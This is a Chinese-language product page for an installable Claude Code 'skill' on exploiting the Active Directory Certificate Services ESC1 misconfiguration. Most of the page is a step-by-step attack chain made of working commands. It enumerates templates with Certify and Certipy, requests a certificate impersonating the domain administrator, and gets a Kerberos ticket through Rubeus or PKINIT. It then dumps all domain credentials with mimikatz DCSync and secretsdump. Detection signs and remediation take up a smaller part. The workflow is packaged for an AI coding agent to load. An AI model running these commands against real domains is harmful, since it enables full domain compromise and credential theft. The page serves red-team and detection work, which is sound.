mcpField
E
exploiting-active-directory-certificate-services-esc1

exploiting-active-directory-certificate-services-esc1

github.com/mukul975安全35.2k97 次安装8 周前更新
代码仓库

关于 exploiting-active-directory-certificate-services-esc1

讲解 Active Directory Certificate Services 中 ESC1 配置错误及其基于证书的权限提升路径,适用于获授权的实验或测试。内容涵盖模板枚举、验证、报告,以及检测线索和修复措施。

主要功能

  1. 01枚举 AD CS 和证书模板
  2. 02检查模板是否符合 ESC1 条件
  3. 03使用任意 SAN 申请证书
  4. 04通过 PKINIT 进行身份验证
  5. 05查看检测线索与修复措施

适用场景

  1. 01在获授权测试中评估 AD CS
  2. 02在实验环境练习 ESC1 验证
  3. 03制定证书滥用检测方法
  4. 04记录发现并编写修复建议

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill exploiting-active-directory-certificate-services-esc1

安装后在 Claude Code 中输入/exploiting-active-directory-certificate-services-esc1确认已加载。

包含的文件

除 SKILL.md 外,安装时一起下载的参考资料和脚本。

LICENSE
assets/
template.md
references/
api-reference.md
standards.md
workflows.md
scripts/
agent.py
process.py

详细介绍

利用 Active Directory 证书服务 ESC1

概述

ESC1(Escalation Scenario 1,权限提升场景 1)是 Active Directory 证书服务中的一个严重错误配置:证书模板允许低权限用户代表任何其他用户(包括 Domain Admins)申请证书。当模板启用了 CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT 标志(也称为 "Supply in Request"),并配合允许客户端身份验证的扩展密钥用法(EKU,包括 Client Authentication、PKINIT Client Authentication、Smart Card Logon 或 Any Purpose)时,该漏洞便存在。这允许攻击者在证书请求中指定任意使用者可选名称(SAN),从而有效冒充任意域用户。ESC1 由 SpecterOps 研究人员 Will Schroeder 和 Lee Christensen 在其《Certified Pre-Owned》白皮书(2021)中记录,至今仍是最常见的 AD CS 攻击路径之一。MITRE ATT&CK 框架将其跟踪为 T1649(窃取或伪造身份验证证书)。

何时使用

  • 在执行涉及利用 active directory certificate services esc1 的授权安全测试时
  • 在受控环境中分析恶意软件样本或攻击痕迹时
  • 在开展红队演练或渗透测试项目时
  • 在基于对攻击技术的理解构建检测能力时

前提条件

  • 熟悉红队概念和工具
  • 可访问测试或实验环境以安全执行
  • 已安装所需依赖项的 Python 3.8+
  • 对任何测试活动具备适当授权

目标

  • 使用 Certify 或 Certipy 枚举 AD CS 基础设施和证书模板
  • 识别启用了 "Supply in Request" 的易受攻击 ESC1 模板
  • 在 SAN 字段中指定 Domain Admin 申请证书
  • 通过 PKINIT 使用伪造证书进行身份验证以获取 TGT
  • 使用获得的 Kerberos 票据将权限提升至 Domain Admin
  • 为项目报告记录完整攻击链

MITRE ATT&CK 映射

  • T1649 - 窃取或伪造身份验证证书
  • T1558.001 - 窃取或伪造 Kerberos 票据:黄金票据
  • T1078.002 - 有效账户:域账户
  • T1484 - 域策略修改
  • T1087.002 - 账户发现:域账户

工作流

阶段 1:AD CS 枚举
  1. 枚举域中的证书颁发机构(CA)服务器:
    # Using Certify (Windows)
    Certify.exe cas
    
    # Using Certipy (Linux/Python)
    certipy find -u [email protected] -p 'Password123' -dc-ip 10.10.10.1
    
  2. 枚举所有证书模板并识别易受攻击的模板:
    # Using Certify - find vulnerable templates
    Certify.exe find /vulnerable
    
    # Using Certipy - outputs JSON and text reports
    certipy find -u [email protected] -p 'Password123' -dc-ip 10.10.10.1 -vulnerable
    
  3. 验证已识别模板上的 ESC1 条件:
    • msPKI-Certificate-Name-Flag 包含 ENROLLEE_SUPPLIES_SUBJECT
    • pkiExtendedKeyUsage 包含 Client Authentication 或 Smart Card Logon
    • msPKI-Enrollment-Flag 不要求管理员审批
    • 低权限组(Domain Users、Authenticated Users)具有 Enroll 权限
阶段 2:使用任意 SAN 申请证书
  1. 使用易受攻击的模板申请证书,在 SAN 中指定 Domain Admin:
    # Using Certify (Windows)
    Certify.exe request /ca:DC01.domain.local\domain-CA /template:VulnerableTemplate /altname:administrator
    
    # Using Certipy (Linux)
    certipy req -u [email protected] -p 'Password123' -ca 'domain-CA' -target DC01.domain.local -template VulnerableTemplate -upn [email protected]
    
  2. CA 颁发的证书在 SAN 字段中包含 Domain Admin 的 UPN
  3. 将输出的证书保存为 PFX/PEM 格式
阶段 3:使用伪造证书进行身份验证
  1. 如需要,转换证书(Certify 输出 PEM,转换为 PFX):
    openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
    
  2. 使用 PKINIT 进行身份验证,为被冒充用户获取 TGT:
    # Using Rubeus (Windows)
    Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /password:<pfx-password> /ptt
    
    # Using Certipy (Linux)
    certipy auth -pfx administrator.pfx -dc-ip 10.10.10.1
    
  3. TGT 现已加载到内存中(Windows)或恢复出 NT 哈希(Linux)
阶段 4:域权限提升
  1. 使用 Domain Admin TGT 执行特权操作:
    # DCSync to dump all domain credentials
    mimikatz.exe "lsadump::dcsync /domain:domain.local /all"
    
    # Or using secretsdump.py with the obtained NT hash
    secretsdump.py domain.local/[email protected] -hashes :ntlmhash
    
  2. 验证 Domain Admin 访问权限:
    # List domain controllers
    dir \\DC01.domain.local\C$
    
    # Access Domain Admin shares
    dir \\DC01.domain.local\SYSVOL
    

工具与资源

工具用途平台
CertifyAD CS 枚举和证书请求Windows (.NET)
CertipyAD CS 枚举、请求和身份验证Linux (Python)
Rubeus使用证书进行 Kerberos 身份验证(PKINIT)Windows (.NET)
Mimikatz提权后的凭据转储Windows
secretsdump.py远程凭据转储(Impacket)Linux (Python)
PSPKIAuditPowerShell AD CS 审计模块Windows
ForgeCert证书伪造工具Windows (.NET)

易受攻击的模板指标

条件易受攻击的值
msPKI-Certificate-Name-FlagENROLLEE_SUPPLIES_SUBJECT (1)
pkiExtendedKeyUsage客户端身份验证 (1.3.6.1.5.5.7.3.2)
注册权限Domain Users 或 Authenticated Users
msPKI-Enrollment-Flag无需管理员批准
CA 设置未强制执行批准工作流

检测特征

指标检测方法
证书请求中的 SAN 与请求者不同CA 服务器上的 Windows 事件 4886 / 4887
异常的 PKINIT 身份验证事件 4688,带有基于证书的预认证
Cert.exe 或 Certipy 执行EDR 进程监控和命令行日志记录
大规模证书模板枚举对 pkiCertificateTemplate 对象的 LDAP 查询监控
证书颁发给不匹配的 UPNCA 审计日志和证书透明度

验证标准

  • 已枚举 AD CS 证书颁发机构
  • 已使用 Certify 或 Certipy 识别出易受攻击的 ESC1 模板
  • 已成功使用 Domain Admin SAN 请求证书
  • 已使用伪造证书执行 PKINIT 身份验证
  • 已获取 Domain Admin TGT
  • 已验证对域控制器的特权访问
  • 已记录完整攻击链并附带证据
  • 已提供修复建议(在 Request 中禁用,要求管理员批准)

评论

支持 Markdown